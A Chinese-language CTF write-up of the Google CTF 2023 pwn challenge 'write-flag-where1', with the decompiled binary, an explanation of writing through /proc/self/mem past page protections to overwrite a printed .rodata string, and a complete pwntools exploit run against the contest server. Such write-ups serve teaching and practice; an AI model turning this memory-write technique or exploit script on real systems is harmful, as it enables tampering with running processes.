selph
selph
发布于 2023-10-23 / 114 阅读
0
0

[Google CTF 2023]pwn-write-flag-where1

文件信息:

[*] '/home/selph/CTF-Exercise/Google CTF 2023/write-flag-where/chal'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

运行:可以看到这里打印了内存布局的信息

➜  write-flag-where nc wfw1.2023.ctfcompetition.com 1337

== proof-of-work: disabled ==
This challenge is not a classical pwn
In order to solve it will take skills of your own
An excellent primitive you get for free
Choose an address and I will write what I see
But the author is cursed or perhaps it's just out of spite
For the flag that you seek is the thing you will write
ASLR isn't the challenge so I'll tell you what
I'll give you my mappings so that you'll have a shot.
55e0691b7000-55e0691b8000 r--p 00000000 00:11c 1032423                   /home/user/chal
55e0691b8000-55e0691b9000 r-xp 00001000 00:11c 1032423                   /home/user/chal
55e0691b9000-55e0691ba000 r--p 00002000 00:11c 1032423                   /home/user/chal
55e0691ba000-55e0691bb000 r--p 00002000 00:11c 1032423                   /home/user/chal
55e0691bb000-55e0691bc000 rw-p 00003000 00:11c 1032423                   /home/user/chal
55e0691bc000-55e0691bd000 rw-p 00000000 00:00 0 
7fcfc2534000-7fcfc2537000 rw-p 00000000 00:00 0 
7fcfc2537000-7fcfc255f000 r--p 00000000 00:11c 1033202                   /usr/lib/x86_64-linux-gnu/libc.so.6
7fcfc255f000-7fcfc26f4000 r-xp 00028000 00:11c 1033202                   /usr/lib/x86_64-linux-gnu/libc.so.6
7fcfc26f4000-7fcfc274c000 r--p 001bd000 00:11c 1033202                   /usr/lib/x86_64-linux-gnu/libc.so.6
7fcfc274c000-7fcfc2750000 r--p 00214000 00:11c 1033202                   /usr/lib/x86_64-linux-gnu/libc.so.6
7fcfc2750000-7fcfc2752000 rw-p 00218000 00:11c 1033202                   /usr/lib/x86_64-linux-gnu/libc.so.6
7fcfc2752000-7fcfc275f000 rw-p 00000000 00:00 0 
7fcfc2761000-7fcfc2763000 rw-p 00000000 00:00 0 
7fcfc2763000-7fcfc2765000 r--p 00000000 00:11c 1033184                   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fcfc2765000-7fcfc278f000 r-xp 00002000 00:11c 1033184                   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fcfc278f000-7fcfc279a000 r--p 0002c000 00:11c 1033184                   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fcfc279b000-7fcfc279d000 r--p 00037000 00:11c 1033184                   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fcfc279d000-7fcfc279f000 rw-p 00039000 00:11c 1033184                   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7ffe38083000-7ffe380a4000 rw-p 00000000 00:00 0                          [stack]
7ffe3810f000-7ffe38113000 r--p 00000000 00:00 0                          [vvar]
7ffe38113000-7ffe38115000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0                  [vsyscall]


Give me an address and a length just so:
<address> <length>
And I'll write it wherever you want it to go.
If an exit is all that you desire
Send me nothing and I will happily expire

分析

int __cdecl main(int argumentCount, const char **arguments, const char **environmentVariables)
{
  __int64 buffer[9]; // [rsp+0h] [rbp-70h] BYREF
  _DWORD addressAndLength[3]; // [rsp+4Ch] [rbp-24h] BYREF
  int memFileDescriptor; // [rsp+58h] [rbp-18h]
  int bytesRead; // [rsp+5Ch] [rbp-14h]
  int nullFileDescriptor; // [rsp+60h] [rbp-10h]
  int outputFileDescriptor; // [rsp+64h] [rbp-Ch]
  int mapsFileDescriptor; // [rsp+68h] [rbp-8h]
  int fd; // [rsp+6Ch] [rbp-4h]

  fd = open("/proc/self/maps", 0, environmentVariables);
  read(fd, maps, 0x1000uLL);
  close(fd);
  mapsFileDescriptor = open("./flag.txt", 0);   // 打开flag文件
  if ( mapsFileDescriptor == -1 )
  {
    puts("flag.txt not found");
    return 1;
  }
  else
  {
    if ( read(mapsFileDescriptor, &flag, 0x80uLL) > 0 )
    {
      close(mapsFileDescriptor);
      outputFileDescriptor = dup2(1, 1337);
      nullFileDescriptor = open("/dev/null", 2);
      dup2(nullFileDescriptor, 0);
      dup2(nullFileDescriptor, 1);
      dup2(nullFileDescriptor, 2);
      close(nullFileDescriptor);
      alarm(0x3Cu);
      dprintf(
        outputFileDescriptor,
        "This challenge is not a classical pwn\n"
        "In order to solve it will take skills of your own\n"
        "An excellent primitive you get for free\n"
        "Choose an address and I will write what I see\n"
        "But the author is cursed or perhaps it's just out of spite\n"
        "For the flag that you seek is the thing you will write\n"
        "ASLR isn't the challenge so I'll tell you what\n"
        "I'll give you my mappings so that you'll have a shot.\n");
      dprintf(outputFileDescriptor, "%s\n\n", maps);
      while ( 1 )
      {
        dprintf(
          outputFileDescriptor,
          "Give me an address and a length just so:\n"
          "<address> <length>\n"
          "And I'll write it wherever you want it to go.\n"
          "If an exit is all that you desire\n"
          "Send me nothing and I will happily expire\n");
        memset(buffer, 0, 64);
        bytesRead = read(outputFileDescriptor, buffer, 0x40uLL);
        if ( (unsigned int)__isoc99_sscanf(buffer, "0x%llx %u", &addressAndLength[1], addressAndLength) != 2
          || addressAndLength[0] > 0x7Fu )
        {
          break;
        }
        memFileDescriptor = open("/proc/self/mem", 2);// 打开mem文件
        lseek64(memFileDescriptor, *(__off64_t *)&addressAndLength[1], 0);// 向其中偏移
        write(memFileDescriptor, &flag, addressAndLength[0]);// 写入flag,可设置长度
        close(memFileDescriptor);
      }
      exit(0);
    }
    puts("flag.txt empty");
    return 1;
  }
}

程序流程很容易看懂:打开flag文件读取内容到缓冲区,打印内存布局,读取输入,把flag写入/proc/selg/mem​文件中指定偏移

关键知识点:当我们直接通过写**/proc/self/mem**文件修改内存时,不受内存页保护的限制,可以向任意地址写值。故我们向**.rodata**段的字符串写flag就可以用**dprintf**将其打印出来。

利用

程序是给了我们一个无条件任意地址写入,那就只需要找个原本会打印出来的字符串所在地址,修改其内容,即可把flag打印出来

可以看到dprintf打印了如下字符串:

.rodata:00000000000021E0                               ; const char aGiveMeAnAddres[]
.rodata:00000000000021E0 47 69 76 65 20 6D 65 20 61 6E+aGiveMeAnAddres db 'Give me an address and a length just so:',0Ah
.rodata:00000000000021E0 20 61 64 64 72 65 73 73 20 61+                                        ; DATA XREF: main+16E↑o
.rodata:00000000000021E0 6E 64 20 61 20 6C 65 6E 67 74+db '<address> <length>',0Ah
.rodata:00000000000021E0 68 20 6A 75 73 74 20 73 6F 3A+db 'And I',27h,'ll write it wherever you want it to go.',0Ah
.rodata:00000000000021E0 0A 3C 61 64 64 72 65 73 73 3E+db 'If an exit is all that you desire',0Ah
.rodata:00000000000021E0 20 3C 6C 65 6E 67 74 68 3E 0A+db 'Send me nothing and I will happily expire',0Ah,0
.rodata:0000000000002297 30 78 25 6C 6C 78 20 25 75 00 a0xLlxU db '0x%llx %u',0             

只需要输入该位置作为偏移,程序就会自动把flag填入其中并打印

exp:

#!/bin/python3
from pwn import *

FILE_NAME = "./chal"
REMOTE_HOST = "wfw1.2023.ctfcompetition.com"
REMOTE_PORT = 1337


elf = context.binary = ELF(FILE_NAME)
libc = elf.libc

gs = '''
continue
'''
def start():
    if args.REMOTE:
        return remote(REMOTE_HOST,REMOTE_PORT)
    if args.GDB:
        return gdb.debug(elf.path, gdbscript=gs)
    else:
        return process(elf.path)

# =======================================

io = start()

# =============================================================================
# ============== exploit ===================
sleep(5)
io.recvuntil(b"I'll give you my mappings so that you'll have a shot.\n")
addr = int(io.recv(12),16)	# 获取基地址
addr += 0x21e0				# 计算基地址+偏移
print(hex(addr))
payload = hex(addr) + ' ' + '80'	# 长度
io.recv()
io.sendline(payload.encode('utf-8'))
flag = io.recv()
print(flag.decode('utf-8'))


# =============================================================================

io.interactive()

运行:

➜  write-flag-where python3 exp.py REMOTE
[*] '/home/selph/CTF-Exercise/Google CTF 2023/write-flag-where/chal'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/selph/CTF-Exercise/Google CTF 2023/write-flag-where/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to wfw1.2023.ctfcompetition.com on port 1337: Done
0x55dc70a5a1e0
CTF{Y0ur_j0urn3y_is_0n1y_ju5t_b39innin9}


评论